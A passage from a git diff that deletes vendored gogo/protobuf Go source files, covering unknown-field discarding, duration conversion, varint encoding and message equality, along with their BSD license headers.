POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "fmt" - "reflect" - "strings" - "sync" - "sync/atomic" -) - -type generatedDiscarder interface { - XXX_DiscardUnknown() -} - -// DiscardUnknown recursively discards all unknown fields from this message -// and all embedded messages. -// -// When unmarshaling a message with unrecognized fields, the tags and values -// of such fields are preserved in the Message. This allows a later call to -// marshal to be able to produce a message that continues to have those -// unrecognized fields. To avoid this, DiscardUnknown is used to -// explicitly clear the unknown fields after unmarshaling. -// -// For proto2 messages, the unknown fields of message extensions are only -// discarded from messages that have been accessed via GetExtension. -func DiscardUnknown(m Message) { - if m, ok := m.(generatedDiscarder); ok { - m.XXX_DiscardUnknown() - return - } - // TODO: Dynamically populate a InternalMessageInfo for legacy messages, - // but the master branch has no implementation for InternalMessageInfo, - // so it would be more work to replicate that approach. - discardLegacy(m) -} - -// DiscardUnknown recursively discards all unknown fields. -func (a *InternalMessageInfo) DiscardUnknown(m Message) { - di := atomicLoadDiscardInfo(&a.discard) - if di == nil { - di = getDiscardInfo(reflect.TypeOf(m).Elem()) - atomicStoreDiscardInfo(&a.discard, di) - } - di.discard(toPointer(&m)) -} - -type discardInfo struct { - typ reflect.Type - - initialized int32 // 0: only typ is valid, 1: everything is valid - lock sync.Mutex - - fields []discardFieldInfo - unrecognized field -} - -type discardFieldInfo struct { - field field // Offset of field, guaranteed to be valid - discard func(src pointer) -} - -var ( - discardInfoMap = map[reflect.Type]*discardInfo{} - discardInfoLock sync.Mutex -) - -func getDiscardInfo(t reflect.Type) *discardInfo { - discardInfoLock.Lock() - defer discardInfoLock.Unlock() - di := discardInfoMap[t] - if di == nil { - di = &discardInfo{typ: t} - discardInfoMap[t] = di - } - return di -} - -func (di *discardInfo) discard(src pointer) { - if src.isNil() { - return // Nothing to do. - } - - if atomic.LoadInt32(&di.initialized) == 0 { - di.computeDiscardInfo() - } - - for _, fi := range di.fields { - sfp := src.offset(fi.field) - fi.discard(sfp) - } - - // For proto2 messages, only discard unknown fields in message extensions - // that have been accessed via GetExtension. - if em, err := extendable(src.asPointerTo(di.typ).Interface()); err == nil { - // Ignore lock since DiscardUnknown is not concurrency safe. - emm, _ := em.extensionsRead() - for _, mx := range emm { - if m, ok := mx.value.(Message); ok { - DiscardUnknown(m) - } - } - } - - if di.unrecognized.IsValid() { - *src.offset(di.unrecognized).toBytes() = nil - } -} - -func (di *discardInfo) computeDiscardInfo() { - di.lock.Lock() - defer di.lock.Unlock() - if di.initialized != 0 { - return - } - t := di.typ - n := t.NumField() - - for i := 0; i < n; i++ { - f := t.Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - - dfi := discardFieldInfo{field: toField(&f)} - tf := f.Type - - // Unwrap tf to get its most basic type. - var isPointer, isSlice bool - if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { - isSlice = true - tf = tf.Elem() - } - if tf.Kind() == reflect.Ptr { - isPointer = true - tf = tf.Elem() - } - if isPointer && isSlice && tf.Kind() != reflect.Struct { - panic(fmt.Sprintf("%v.%s cannot be a slice of pointers to primitive types", t, f.Name)) - } - - switch tf.Kind() { - case reflect.Struct: - switch { - case !isPointer: - panic(fmt.Sprintf("%v.%s cannot be a direct struct value", t, f.Name)) - case isSlice: // E.g., []*pb.T - discardInfo := getDiscardInfo(tf) - dfi.discard = func(src pointer) { - sps := src.getPointerSlice() - for _, sp := range sps { - if !sp.isNil() { - discardInfo.discard(sp) - } - } - } - default: // E.g., *pb.T - discardInfo := getDiscardInfo(tf) - dfi.discard = func(src pointer) { - sp := src.getPointer() - if !sp.isNil() { - discardInfo.discard(sp) - } - } - } - case reflect.Map: - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%v.%s cannot be a pointer to a map or a slice of map values", t, f.Name)) - default: // E.g., map[K]V - if tf.Elem().Kind() == reflect.Ptr { // Proto struct (e.g., *T) - dfi.discard = func(src pointer) { - sm := src.asPointerTo(tf).Elem() - if sm.Len() == 0 { - return - } - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - DiscardUnknown(val.Interface().(Message)) - } - } - } else { - dfi.discard = func(pointer) {} // Noop - } - } - case reflect.Interface: - // Must be oneof field. - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%v.%s cannot be a pointer to a interface or a slice of interface values", t, f.Name)) - default: // E.g., interface{} - // TODO: Make this faster? - dfi.discard = func(src pointer) { - su := src.asPointerTo(tf).Elem() - if !su.IsNil() { - sv := su.Elem().Elem().Field(0) - if sv.Kind() == reflect.Ptr && sv.IsNil() { - return - } - switch sv.Type().Kind() { - case reflect.Ptr: // Proto struct (e.g., *T) - DiscardUnknown(sv.Interface().(Message)) - } - } - } - } - default: - continue - } - di.fields = append(di.fields, dfi) - } - - di.unrecognized = invalidField - if f, ok := t.FieldByName("XXX_unrecognized"); ok { - if f.Type != reflect.TypeOf([]byte{}) { - panic("expected XXX_unrecognized to be of type []byte") - } - di.unrecognized = toField(&f) - } - - atomic.StoreInt32(&di.initialized, 1) -} - -func discardLegacy(m Message) { - v := reflect.ValueOf(m) - if v.Kind() != reflect.Ptr || v.IsNil() { - return - } - v = v.Elem() - if v.Kind() != reflect.Struct { - return - } - t := v.Type() - - for i := 0; i < v.NumField(); i++ { - f := t.Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - vf := v.Field(i) - tf := f.Type - - // Unwrap tf to get its most basic type. - var isPointer, isSlice bool - if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { - isSlice = true - tf = tf.Elem() - } - if tf.Kind() == reflect.Ptr { - isPointer = true - tf = tf.Elem() - } - if isPointer && isSlice && tf.Kind() != reflect.Struct { - panic(fmt.Sprintf("%T.%s cannot be a slice of pointers to primitive types", m, f.Name)) - } - - switch tf.Kind() { - case reflect.Struct: - switch { - case !isPointer: - panic(fmt.Sprintf("%T.%s cannot be a direct struct value", m, f.Name)) - case isSlice: // E.g., []*pb.T - for j := 0; j < vf.Len(); j++ { - discardLegacy(vf.Index(j).Interface().(Message)) - } - default: // E.g., *pb.T - discardLegacy(vf.Interface().(Message)) - } - case reflect.Map: - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%T.%s cannot be a pointer to a map or a slice of map values", m, f.Name)) - default: // E.g., map[K]V - tv := vf.Type().Elem() - if tv.Kind() == reflect.Ptr && tv.Implements(protoMessageType) { // Proto struct (e.g., *T) - for _, key := range vf.MapKeys() { - val := vf.MapIndex(key) - discardLegacy(val.Interface().(Message)) - } - } - } - case reflect.Interface: - // Must be oneof field. - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%T.%s cannot be a pointer to a interface or a slice of interface values", m, f.Name)) - default: // E.g., test_proto.isCommunique_Union interface - if !vf.IsNil() && f.Tag.Get("protobuf_oneof") != "" { - vf = vf.Elem() // E.g., *test_proto.Communique_Msg - if !vf.IsNil() { - vf = vf.Elem() // E.g., test_proto.Communique_Msg - vf = vf.Field(0) // E.g., Proto struct (e.g., *T) or primitive value - if vf.Kind() == reflect.Ptr { - discardLegacy(vf.Interface().(Message)) - } - } - } - } - } - } - - if vf := v.FieldByName("XXX_unrecognized"); vf.IsValid() { - if vf.Type() != reflect.TypeOf([]byte{}) { - panic("expected XXX_unrecognized to be of type []byte") - } - vf.Set(reflect.ValueOf([]byte(nil))) - } - - // For proto2 messages, only discard unknown fields in message extensions - // that have been accessed via GetExtension. - if em, err := extendable(m); err == nil { - // Ignore lock since discardLegacy is not concurrency safe. - emm, _ := em.extensionsRead() - for _, mx := range emm { - if m, ok := mx.value.(Message); ok { - discardLegacy(m) - } - } - } -} diff --git a/vendor/github.com/gogo/protobuf/proto/duration.go b/vendor/github.com/gogo/protobuf/proto/duration.go deleted file mode 100644 index 93464c91..00000000 --- a/vendor/github.com/gogo/protobuf/proto/duration.go +++ /dev/null @@ -1,100 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -// This file implements conversions between google.protobuf.Duration -// and time.Duration. - -import ( - "errors" - "fmt" - "time" -) - -const ( - // Range of a Duration in seconds, as specified in - // google/protobuf/duration.proto. This is about 10,000 years in seconds. - maxSeconds = int64(10000 * 365.25 * 24 * 60 * 60) - minSeconds = -maxSeconds -) - -// validateDuration determines whether the Duration is valid according to the -// definition in google/protobuf/duration.proto. A valid Duration -// may still be too large to fit into a time.Duration (the range of Duration -// is about 10,000 years, and the range of time.Duration is about 290). -func validateDuration(d *duration) error { - if d == nil { - return errors.New("duration: nil Duration") - } - if d.Seconds < minSeconds || d.Seconds > maxSeconds { - return fmt.Errorf("duration: %#v: seconds out of range", d) - } - if d.Nanos <= -1e9 || d.Nanos >= 1e9 { - return fmt.Errorf("duration: %#v: nanos out of range", d) - } - // Seconds and Nanos must have the same sign, unless d.Nanos is zero. - if (d.Seconds < 0 && d.Nanos > 0) || (d.Seconds > 0 && d.Nanos < 0) { - return fmt.Errorf("duration: %#v: seconds and nanos have different signs", d) - } - return nil -} - -// DurationFromProto converts a Duration to a time.Duration. DurationFromProto -// returns an error if the Duration is invalid or is too large to be -// represented in a time.Duration. -func durationFromProto(p *duration) (time.Duration, error) { - if err := validateDuration(p); err != nil { - return 0, err - } - d := time.Duration(p.Seconds) * time.Second - if int64(d/time.Second) != p.Seconds { - return 0, fmt.Errorf("duration: %#v is out of range for time.Duration", p) - } - if p.Nanos != 0 { - d += time.Duration(p.Nanos) - if (d < 0) != (p.Nanos < 0) { - return 0, fmt.Errorf("duration: %#v is out of range for time.Duration", p) - } - } - return d, nil -} - -// DurationProto converts a time.Duration to a Duration. -func durationProto(d time.Duration) *duration { - nanos := d.Nanoseconds() - secs := nanos / 1e9 - nanos -= secs * 1e9 - return &duration{ - Seconds: secs, - Nanos: int32(nanos), - } -} diff --git a/vendor/github.com/gogo/protobuf/proto/duration_gogo.go b/vendor/github.com/gogo/protobuf/proto/duration_gogo.go deleted file mode 100644 index e748e173..00000000 --- a/vendor/github.com/gogo/protobuf/proto/duration_gogo.go +++ /dev/null @@ -1,49 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2016, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "reflect" - "time" -) - -var durationType = reflect.TypeOf((*time.Duration)(nil)).Elem() - -type duration struct { - Seconds int64 `protobuf:"varint,1,opt,name=seconds,proto3" json:"seconds,omitempty"` - Nanos int32 `protobuf:"varint,2,opt,name=nanos,proto3" json:"nanos,omitempty"` -} - -func (m *duration) Reset() { *m = duration{} } -func (*duration) ProtoMessage() {} -func (*duration) String() string { return "duration" } - -func init() { - RegisterType((*duration)(nil), "gogo.protobuf.proto.duration") -} diff --git a/vendor/github.com/gogo/protobuf/proto/encode.go b/vendor/github.com/gogo/protobuf/proto/encode.go deleted file mode 100644 index 9581ccd3..00000000 --- a/vendor/github.com/gogo/protobuf/proto/encode.go +++ /dev/null @@ -1,205 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Routines for encoding data into the wire format for protocol buffers. - */ - -import ( - "errors" - "reflect" -) - -var ( - // errRepeatedHasNil is the error returned if Marshal is called with - // a struct with a repeated field containing a nil element. - errRepeatedHasNil = errors.New("proto: repeated field has nil element") - - // errOneofHasNil is the error returned if Marshal is called with - // a struct with a oneof field containing a nil element. - errOneofHasNil = errors.New("proto: oneof field has nil value") - - // ErrNil is the error returned if Marshal is called with nil. - ErrNil = errors.New("proto: Marshal called with nil") - - // ErrTooLarge is the error returned if Marshal is called with a - // message that encodes to >2GB. - ErrTooLarge = errors.New("proto: message encodes to over 2 GB") -) - -// The fundamental encoders that put bytes on the wire. -// Those that take integer types all accept uint64 and are -// therefore of type valueEncoder. - -const maxVarintBytes = 10 // maximum length of a varint - -// EncodeVarint returns the varint encoding of x. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -// Not used by the package itself, but helpful to clients -// wishing to use the same encoding. -func EncodeVarint(x uint64) []byte { - var buf [maxVarintBytes]byte - var n int - for n = 0; x > 127; n++ { - buf[n] = 0x80 | uint8(x&0x7F) - x >>= 7 - } - buf[n] = uint8(x) - n++ - return buf[0:n] -} - -// EncodeVarint writes a varint-encoded integer to the Buffer. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -func (p *Buffer) EncodeVarint(x uint64) error { - for x >= 1<<7 { - p.buf = append(p.buf, uint8(x&0x7f|0x80)) - x >>= 7 - } - p.buf = append(p.buf, uint8(x)) - return nil -} - -// SizeVarint returns the varint encoding size of an integer. -func SizeVarint(x uint64) int { - switch { - case x < 1<<7: - return 1 - case x < 1<<14: - return 2 - case x < 1<<21: - return 3 - case x < 1<<28: - return 4 - case x < 1<<35: - return 5 - case x < 1<<42: - return 6 - case x < 1<<49: - return 7 - case x < 1<<56: - return 8 - case x < 1<<63: - return 9 - } - return 10 -} - -// EncodeFixed64 writes a 64-bit integer to the Buffer. -// This is the format for the -// fixed64, sfixed64, and double protocol buffer types. -func (p *Buffer) EncodeFixed64(x uint64) error { - p.buf = append(p.buf, - uint8(x), - uint8(x>>8), - uint8(x>>16), - uint8(x>>24), - uint8(x>>32), - uint8(x>>40), - uint8(x>>48), - uint8(x>>56)) - return nil -} - -// EncodeFixed32 writes a 32-bit integer to the Buffer. -// This is the format for the -// fixed32, sfixed32, and float protocol buffer types. -func (p *Buffer) EncodeFixed32(x uint64) error { - p.buf = append(p.buf, - uint8(x), - uint8(x>>8), - uint8(x>>16), - uint8(x>>24)) - return nil -} - -// EncodeZigzag64 writes a zigzag-encoded 64-bit integer -// to the Buffer. -// This is the format used for the sint64 protocol buffer type. -func (p *Buffer) EncodeZigzag64(x uint64) error { - // use signed number to get arithmetic right shift. - return p.EncodeVarint(uint64((x << 1) ^ uint64((int64(x) >> 63)))) -} - -// EncodeZigzag32 writes a zigzag-encoded 32-bit integer -// to the Buffer. -// This is the format used for the sint32 protocol buffer type. -func (p *Buffer) EncodeZigzag32(x uint64) error { - // use signed number to get arithmetic right shift. - return p.EncodeVarint(uint64((uint32(x) << 1) ^ uint32((int32(x) >> 31)))) -} - -// EncodeRawBytes writes a count-delimited byte buffer to the Buffer. -// This is the format used for the bytes protocol buffer -// type and for embedded messages. -func (p *Buffer) EncodeRawBytes(b []byte) error { - p.EncodeVarint(uint64(len(b))) - p.buf = append(p.buf, b...) - return nil -} - -// EncodeStringBytes writes an encoded string to the Buffer. -// This is the format used for the proto2 string type. -func (p *Buffer) EncodeStringBytes(s string) error { - p.EncodeVarint(uint64(len(s))) - p.buf = append(p.buf, s...) - return nil -} - -// Marshaler is the interface representing objects that can marshal themselves. -type Marshaler interface { - Marshal() ([]byte, error) -} - -// EncodeMessage writes the protocol buffer to the Buffer, -// prefixed by a varint-encoded length. -func (p *Buffer) EncodeMessage(pb Message) error { - siz := Size(pb) - sizVar := SizeVarint(uint64(siz)) - p.grow(siz + sizVar) - p.EncodeVarint(uint64(siz)) - return p.Marshal(pb) -} - -// All protocol buffer fields are nillable, but be careful. -func isNil(v reflect.Value) bool { - switch v.Kind() { - case reflect.Interface, reflect.Map, reflect.Ptr, reflect.Slice: - return v.IsNil() - } - return false -} diff --git a/vendor/github.com/gogo/protobuf/proto/encode_gogo.go b/vendor/github.com/gogo/protobuf/proto/encode_gogo.go deleted file mode 100644 index 0f5fb173..00000000 --- a/vendor/github.com/gogo/protobuf/proto/encode_gogo.go +++ /dev/null @@ -1,33 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -func NewRequiredNotSetError(field string) *RequiredNotSetError { - return &RequiredNotSetError{field} -} diff --git a/vendor/github.com/gogo/protobuf/proto/equal.go b/vendor/github.com/gogo/protobuf/proto/equal.go deleted file mode 100644 index d4db5a1c..00000000 --- a/vendor/github.com/gogo/protobuf/proto/equal.go +++ /dev/null @@ -1,300 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2011 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// Protocol buffer comparison. - -package proto - -import ( - "bytes" - "log" - "reflect" - "strings" -) - -/* -Equal returns true iff protocol buffers a and b are equal. -The arguments must both be pointers to protocol buffer structs. - -Equality is defined in this way: - - Two messages are equal iff they are the same type, - corresponding fields are equal, unknown field sets - are equal, and extensions sets are equal. - - Two set scalar fields are equal iff their values are equal. - If the fields are of a floating-point type, remember that - NaN != x for all x, including NaN. If the message is defined - in a proto3 .proto file, fields are not "set"; specifically, - zero length proto3 "bytes" fields are equal (nil == {}). - - Two repeated fields are equal iff their lengths are the same, - and their corresponding elements are equal. Note a "bytes" field, - although represented by []byte, is not a repeated field and the - rule for the scalar fields described above applies. - - Two unset fields are equal. - - Two unknown field sets are equal if their current - encoded state is equal. - - Two extension sets are equal iff they have corresponding - elements that are pairwise equal. - - Two map fields are equal iff their lengths are the same, - and they contain the same set of elements. Zero-length map - fields are equal. - - Every other combination of things are not equal. - -The return value is undefined if a and b are not protocol buffers. -*/ -func Equal(a, b Message) bool { - if a == nil || b == nil { - return a == b - } - v1, v2 := reflect.ValueOf(a), reflect.ValueOf(b) - if v1.Type() != v2.Type() { - return false - } - if v1.Kind() == reflect.Ptr { - if v1.IsNil() { - return v2.IsNil() - } - if v2.IsNil() { - return false - } - v1, v2 = v1.Elem(), v2.Elem() - } - if v1.Kind() != reflect.Struct { - return false - } - return equalStruct(v1, v2) -} - -// v1 and v2 are known to have the same type. -func equalStruct(v1, v2 reflect.Value) bool { - sprop := GetProperties(v1.Type()) - for i := 0; i < v1.NumField(); i++ { - f := v1.Type().Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - f1, f2 := v1.Field(i), v2.Field(i) - if f.Type.Kind() == reflect.Ptr { - if n1, n2 := f1.IsNil(), f2.IsNil(); n1 && n2 { - // both unset - continue - } else if n1 != n2 { - // set/unset mismatch - return false - } - f1, f2 = f1.Elem(), f2.Elem() - } - if !equalAny(f1, f2, sprop.Prop[i]) { - return false - } - } - - if em1 := v1.FieldByName("XXX_InternalExtensions"); em1.IsValid() { - em2 := v2.FieldByName("XXX_InternalExtensions") - if !equalExtensions(v1.Type(), em1.Interface().(XXX_InternalExtensions), em2.Interface().(XXX_InternalExtensions)) { - return false - } - } - - if em1 := v1.FieldByName("XXX_extensions"); em1.IsValid() { - em2 := v2.FieldByName("XXX_extensions") - if !equalExtMap(v1.Type(), em1.Interface().(map[int32]Extension), em2.Interface().(map[int32]Extension)) { - return false - } - } - - uf := v1.FieldByName("XXX_unrecognized") - if !uf.IsValid() { - return true - } - - u1 := uf.Bytes() - u2 := v2.FieldByName("XXX_unrecognized").Bytes() - return bytes.Equal(u1, u2) -} - -// v1 and v2 are known to have the same type. -// prop may be nil. -func equalAny(v1, v2 reflect.Value, prop *Properties) bool { - if v1.Type() == protoMessageType { - m1, _ := v1.Interface().(Message) - m2, _ := v2.Interface().(Message) - return Equal(m1, m2) - } - switch v1.Kind() { - case reflect.Bool: - return v1.Bool() == v2.Bool() - case reflect.Float32, reflect.Float64: - return v1.Float() == v2.Float() - case reflect.Int32, reflect.Int64: - return v1.Int() == v2.Int() - case reflect.Interface: - // Probably a oneof field; compare the inner values. - n1, n2 := v1.IsNil(), v2.IsNil() - if n1 || n2 { - return n1 == n2 - } - e1, e2 := v1.Elem(), v2.Elem() - if e1.Type() != e2.Type() { - return false - } - return equalAny(e1, e2, nil) - case reflect.Map: - if v1.Len() != v2.Len() { - return false - } - for _, key := range v1.MapKeys() { - val2 := v2.MapIndex(key) - if !val2.IsValid() { - // This key was not found in the second map. - return false - } - if !equalAny(v1.MapIndex(key), val2, nil) { - return false - } - } - return true - case reflect.Ptr: - // Maps may have nil values in them, so check for nil. - if v1.IsNil() && v2.IsNil() { - return true - } - if v1.IsNil() != v2.IsNil() { - return false - } - return equalAny(v1.Elem(), v2.Elem(), prop) - case reflect.Slice: - if v1.Type().Elem().Kind() == reflect.Uint8 { - // short circuit: []byte - - // Edge case: if this is in a proto3 message, a zero length - // bytes field is considered the zero value. - if prop != nil && prop.proto3 && v1.Len() == 0 && v2.Len() == 0 { - return true - } - if v1.IsNil() != v2.IsNil() { - return false - } - return bytes.Equal(v1.Interface().([]byte), v2.Interface().([]byte)) - } - - if v1.Len() != v2.Len() { - return false - } - for i := 0; i < v1.Len(); i++ { - if !equalAny(v1.Index(i), v2.Index(i), prop) { - return false - } - } - return true - case reflect.String: - return v1.Interface().(string) == v2.Interface().(string) - case reflect.Struct: - return equalStruct(v1, v2) - case reflect.Uint32, reflect.Uint64: - return v1.Uint() == v2.Uint() - } - - // unknown type, so not a protocol buffer - log.Printf("proto: don't know how to compare %v", v1) - return false -} - -// base is the struct type that the extensions are based on. -// x1 and x2 are InternalExtensions. -func equalExtensions(base reflect.Type, x1, x2 XXX_InternalExtensions) bool { - em1, _ := x1.extensionsRead() - em2, _ := x2.extensionsRead() - return equalExtMap(base, em1, em2) -} - -func equalExtMap(base reflect.Type, em1, em2 map[int32]Extension) bool { - if len(em1) != len(em2) { - return false - } - - for extNum, e1 := range em1 { - e2, ok := em2[extNum] - if !ok { - return false - } - - m1, m2 := e1.value, e2.value - - if m1 == nil && m2 == nil { - // Both have only encoded form. - if bytes.Equal(e1.enc, e2.enc) { - continue - } - // The bytes are different, but the extensions might still be - // equal. We need to decode them to compare. - } - - if m1 != nil && m2 != nil { - // Both are unencoded. - if !equalAny(reflect.ValueOf(m1), reflect.ValueOf(m2), nil) { - return false - } - continue - } - - // At least one is encoded. To do a semantically correct comparison - // we need to unmarshal them first. - var desc *ExtensionDesc - if m := extensionMaps[base]; m != nil { - desc = m[extNum] - } - if desc == nil { - // If both have only encoded form and the bytes are the same, - // it is handled above. We get here when the bytes are different. - // We don't know how to decode it, so just compare them as byte - // slices. - log.Printf("proto: don't know how to compare extension %d of %v", extNum, base) - return false - } - var err error - if m1 == nil { - m1, err = decodeExtension(e1.enc, desc) - } - if m2 == nil && err == nil { - m2, err = decodeExtension(e2.enc, desc) - } - if err != nil { - // The encoded form is invalid. - log.Printf("proto: badly encoded extension %d of %v: %v", extNum, base, err) - return false - } - if !equalAny(reflect.ValueOf(m1), reflect.ValueOf(m2), nil) { - return false - } - } - - return true -} diff --git a/vendor/github.com/gogo/protobuf/proto/extensions.go b/vendor/github.com/gogo/protobuf/proto/extensions.go 